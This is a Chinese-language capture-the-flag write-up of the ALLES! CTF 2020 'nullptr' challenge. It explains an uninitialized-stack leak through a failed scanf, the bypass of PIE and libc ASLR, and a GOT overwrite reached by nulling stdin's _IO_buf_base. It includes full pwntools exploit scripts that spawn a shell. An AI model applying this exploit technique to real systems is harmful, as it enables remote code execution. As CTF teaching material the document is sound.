题目附件:nullptr
漏洞分析
- 64位x86-64可执行程序
- 动态链接,未去符号表
- Canary、栈不可执行均开启
- PIE开启,地址随机化
- Partial RELRO,got表可写
这个题给了源码,所以就直接分析源码吧。While循环中的主要处理逻辑是两个case:
1、view address:用户输入一个地址,程序会将该地址及该内存地址上的值打印出来。
2、nuke address:用户输入一个地址,程序会将该地址置为NULL,也就是说将该地址的八个字节全部变为0。
除此之外,这个题还给了一个现成的执行“/bin/sh”的函数,因此只要我们能控制eip到这个函数就能get shell了。
漏洞点:未初始化的局部变量addr,以及scanf(”%lu”, &addr)。当用户输入给scanf的值非数字时,内部转化会失败, 此时scanf函数中会free用到的指针,然后返回,返回的时候不会更改其他函数参数的值(此题为addr)。由于addr是栈上一个未初始化的值,因此18行打印的时候会泄露栈上的一个值。
利用过程
泄露栈地址与函数地址
view address给非数字时,就会打印栈上的信息。可以看到addr所处的栈位置正好存放的是另一个栈地址,且其值为1。在gdb中调试的时候这个栈地址的值是不会变的,也就是说这个地址一定跟main函数运行之前的函数相关。
一个程序加载运行的过程是这样的:
经过调试分析,通过view addr泄露出来的栈地址是比main函数栈更高的位置,也就是__libc_start_main或者_start的栈帧。因此,通过这个栈地址的偏移可以找到存放返回地址(_start)的栈。
本地调试可以计算出_start
函数地址存放的位置距离第一次泄露的栈地址:
0x7fffffffdec0 - 0x7fffffffde98 = 0x28 (docker环境中还需要以8字节为单位调试获取实际值)
因此,再调用view addr一次,就可以泄露出_start
函数地址,根据该地址与IDA静态分析的_start函数地址差值,就计算出了程序的加载基址,那么就绕过PIE了。
泄露libc
有了程序加载基址,通过got.plt条目,泄露puts函数的地址,进而获得libc加载基址。
到这一步的参考代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
|
from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./nullptr") mylibc = ELF("./libc-2.30.so") myld = ELF("./ld-2.30.so") myproc = remote("127.0.0.1",1024)
def view(addr): myproc.recvuntil("[1. view, 2. null, -1. exit]> ") myproc.sendline('1') myproc.recvuntil("view address> ") myproc.sendline(addr) myproc.recvline() ret = myproc.recvline() return ret
def setnull(addr): myproc.recvuntil("[1. view, 2. null, -1. exit]> ") myproc.sendline('2') myproc.recvuntil("nuke address> ") myproc.sendline(addr)
stack_addr = int(view('a').strip().split(":")[0],16)
offset1 = stack_addr - (0x28 + 8*1)
start_addr = int(view(str(offset1)).strip().split(":")[1],16)
elf_base = start_addr - myelf.symbols['_start'] shell_addr = elf_base + myelf.symbols['get_me_out_of_this_mess'] log.warn("elf_base is: 0x%x" % elf_base)
puts_got = elf_base + myelf.got["puts"] got_base = puts_got - 0x18 puts_libc = int(view(str(puts_got)).strip().split(":")[1],16) libc_base = puts_libc - mylibc.symbols["puts"]
log.warn("puts_libc is: 0x%x" % puts_libc) log.warn("libc_base is: 0x%x" % libc_base) log.warn("got_base is: 0x%x" % got_base)
myproc.interactive()
|
花式覆写got表
整理一下现在有的条件:
- 程序和libc的加载基址
- get shell函数的地址
- while循环中的case2,任意地址写null
stdin涉及的_IO_FILE结构:
scanf函数将用户输入先存放在_IO_read_base
指向的堆空间中,最后将输入更新到_IO_buf_base
指向的堆空间。堆空间和elf加载空间(内含got表项)是相邻的,如下图,且存在两者地址只有后3个字节不同的情况。因为开了PIE,如果某次got.plt
的起始地址后3个字节是全零,那么我们只需要把_IO_buf_base
处存放的堆地址其后3个字节写成0,下一次调用scanf时输入就会被写到got表中,那么我们就可以任意改写got表项,劫持函数。
测试是否存在后3个字节全为0的got.elf项:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
|
from pwn import *
while True: myelf = ELF("./nullptr") mylibc = ELF("./libc-2.30.so") myld = ELF("./ld-2.30.so") myproc = remote("127.0.0.1",1024) def view(addr): myproc.recvuntil("[1. view, 2. null, -1. exit]> ") myproc.sendline('1') myproc.recvuntil("view address> ") myproc.sendline(addr) myproc.recvline() ret = myproc.recvline() return ret
def setnull(addr): myproc.recvuntil("[1. view, 2. null, -1. exit]> ") myproc.sendline('2') myproc.recvuntil("nuke address> ") stack_addr = int(view('a').strip().split(":")[0],16)
offset1 = stack_addr - (0x28 + 8*1) start_addr = int(view(str(offset1)).strip().split(":")[1],16) log.warn("start_addr is: 0x%x" % start_addr)
elf_base = start_addr - myelf.symbols['_start'] shell_addr = elf_base + myelf.symbols['get_me_out_of_this_mess'] elf_got_base = elf_base + 0x4000 log.warn("elf_base is: 0x%x" % elf_base) log.warn("elf_got_base: 0x%x" % elf_got_base) log.warn("shell_addr is: 0x%x" % shell_addr)
puts_got = elf_base + myelf.got["puts"] puts_libc = int(view(str(puts_got)).strip().split(":")[1],16) libc_base = puts_libc - mylibc.symbols["puts"] log.warn("puts_got is: 0x%x" % puts_got) log.warn("puts_libc is: 0x%x" % puts_libc) log.warn("libc_base is: 0x%x" % libc_base)
if elf_got_base &0xfff000 == 0: log.warn("success!elf_got_base is: 0x%x" % elf_got_base) myproc.interactive()
|
上图可知,是存在got表项起始地址后三个字节为全0的情况是存在的。只不过有一定的概率。
接下来就是利用case2中的任意地址写0来写_IO_buf_base中存放的堆地址了。
_IO_buf_base
跟_IO_2_1_stdin
之间的偏移如上图,但是不能把整个地址写成0,所以实际写的时候得往前偏移5个字节。
另外,写got表的时候,我们的目标函数时puts,在第4项。由于是从头开始覆盖,所以要先泄露出前三项,然后构造好payload进行攻击。
exp
本地搭建的测试环境下获得flag如下图:
最终的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
|
from pwn import *
while True: myelf = ELF("./nullptr") mylibc = ELF("./libc-2.30.so") myld = ELF("./ld-2.30.so") myproc = remote("127.0.0.1",1024) def view(addr): myproc.recvuntil("[1. view, 2. null, -1. exit]> ") myproc.sendline('1') myproc.recvuntil("view address> ") myproc.sendline(addr) myproc.recvline() ret = myproc.recvline() return ret
def setnull(addr): myproc.recvuntil("[1. view, 2. null, -1. exit]> ") myproc.sendline('2') myproc.recvuntil("nuke address> ") myproc.sendline(addr) stack_addr = int(view('a').strip().split(":")[0],16) offset1 = stack_addr - (0x28 + 8*1) start_addr = int(view(str(offset1)).strip().split(":")[1],16)
elf_base = start_addr - myelf.symbols['_start'] shell_addr = elf_base + myelf.symbols['get_me_out_of_this_mess'] elf_got_base = elf_base + 0x4000 log.warn("elf_got_base: 0x%x" % elf_got_base)
if elf_got_base &0xfff000 == 0: puts_got = elf_base + myelf.got["puts"] puts_libc = int(view(str(puts_got)).strip().split(":")[1],16) libc_base = puts_libc - mylibc.symbols["puts"] log.warn("libc_base is: 0x%x" % libc_base)
got_cont0 = int(view(str(elf_got_base)).strip().split(":")[1],16) got_cont1 = int(view(str(elf_got_base+0x8)).strip().split(":")[1],16) got_cont2 = int(view(str(elf_got_base+0x10)).strip().split(":")[1],16)
payload = "" payload += p64(got_cont0) payload += p64(got_cont1) payload += p64(got_cont2) payload += p64(shell_addr)
io_buf_addr = libc_base + 0x1ea980 + 0x38 - 0x5 setnull(str(io_buf_addr)) myproc.recvuntil("[1. view, 2. null, -1. exit]> ") myproc.sendline(payload) myproc.interactive()
|
参考write up
ALLES! CTF 2020 Nullptr